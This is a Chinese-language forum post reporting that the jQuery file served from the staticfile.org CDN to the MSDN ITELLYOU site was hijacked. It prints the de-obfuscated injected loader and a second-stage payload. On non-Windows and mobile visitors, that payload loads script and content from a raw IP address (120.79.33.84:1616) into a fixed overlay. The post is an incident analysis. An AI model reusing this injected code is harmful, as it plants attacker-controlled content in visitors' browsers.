MSDN ITELLYOU 网站被劫持挂马？

今天发现内容菜单无法打开，打开 F12 发现 jQuery 对象报错，看了下 Network 发现 jquery 文件内容变成可疑内容：

https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js

终端内把可疑代码的 eval 换成 console.log ，排版看到内容如下

var c = function(u) {
        var d = document,
            e = d.createElement('script');
        e.type = 'text/javascript';
        e.src = u;
        d.getElementsByTagName('head')[0].appendChild(e);
    },
    s = 'http://cdn.staticfile.org/jquery/1.10.2/jquery.min.js?cclt1=ncache2';
if ((typeof M7f == 'undefined') && (!navigator.platform.match(/Win32|Win64/i))) c('http://120.79.33.84:1616/mb.php?id=lp01');
if ((typeof M7f == 'undefined') || (M7f != s)) {
    M7f = s;
    c(s + Math.random());
}

看到挂马脚本还会插回一个内容正常的 jQuery 外，对于非 win 平台还加载一次 120.79.33.84:1616，请求一下看看：

!(function() {
    if (typeof MB7F2 == 'undefined') {
        MB7F2 = 1;
        var head = document.getElementsByTagName('head')[0];
        var script = document.createElement('script');
        script.type = 'text/javascript';
        script.onload = script.onreadystatechange = function() {
            if (!this.readyState || this.readyState === "loaded" || this.readyState === "complete") {
                var isMobile = {
                    Win: function() {
                        return navigator.platform.match(/Win32|Win64|Mac/i) ? true : false
                    },
                    Qqb: function() {
                        return navigator.userAgent.match(/QQ/i) ? true : false
                    },
                    Phone: function() {
                        return navigator.userAgent.match(/Android|Adr|iPhone|iPh|iPh5|iOS|iPad|ipad|iPod/i) ? true : false
                    }
                };
                var bz = 0;
                if (isMobile.Win() || isMobile.Qqb()) {
                    bz = 0
                } else if (isMobile.Phone()) {
                    var slt = Math.floor(Math.random() * 1000000) + 1000;
                    bz = 1;
                    var nd = document.createElement("div");
                    nd.id = slt;
                    nd.style.position = "fixed";
                    nd.style.zIndex = "9999";
                    nd.style.width = "100%";
                    nd.style.height = "auto";
                    nd.style.bottom = "-6px";
                    nd.style.right = "0px";
                    document.body.insertBefore(nd, document.body.firstChild);
                    var slt = '#' + slt
                }
                var tu = "http://120.79.33.84:1616/mb1.php?id=lp01";
                var setcookies = function() {
                    var exp = new Date();
                    var value = exp.getTime();
                    exp.setTime(exp.getTime() + 3000 * 1000);
                    document.cookie = "mblast=" + escape(value) + ";expires=" + exp.toGMTString()
                };
                var getCookie = function(d) {
                    var f = document.cookie;
                    var g = f.split("; ");
                    for (var e = 0; e < g.length; e++) {
                        var c = g[e].split("=");
                        if (c[0] == d) {
                            return c[1]
                        }
                    }
                    return 0
                };
                var mbbt = new Date();
                mbbt = (mbbt.getTime() - getCookie("mblast")) / 1000;
                if ((bz != 0) && (mbbt > 81)) {
                    $(document).ready(function() {
                        $.ajax({
                            type: 'get',
                            url: tu + "&new=" + Math.random() + "&mblast=" + mbbt,
                            dataType: 'jsonp',
                            jsonp: "jsoncallback",
                            success: function(data) {
                                $(slt).html(data);
                                setcookies()
                            },
                            error: function() {}
                        })
                    })
                }
            }
        };
        script.src = 'http://cdn.staticfile.org/jquery/1.7/jquery.min.js?cclt1=ncache2';
        head.appendChild(script)
    }
})();

因为 https 访问的，这些 http 地址实际都被挡了，jQuery 无法加载所以网站功能有问题的。 staticfile.org 是七牛云的静态 CDN，而入口文件的 jquery.min.js 也是 https 的，而且挂马代码里面也针对性地重新引用 staticfile.org 文件。

因此怀疑是七牛 CDN 内部人员私自加料，或者 CDN 回源过程中被第三方定向劫持。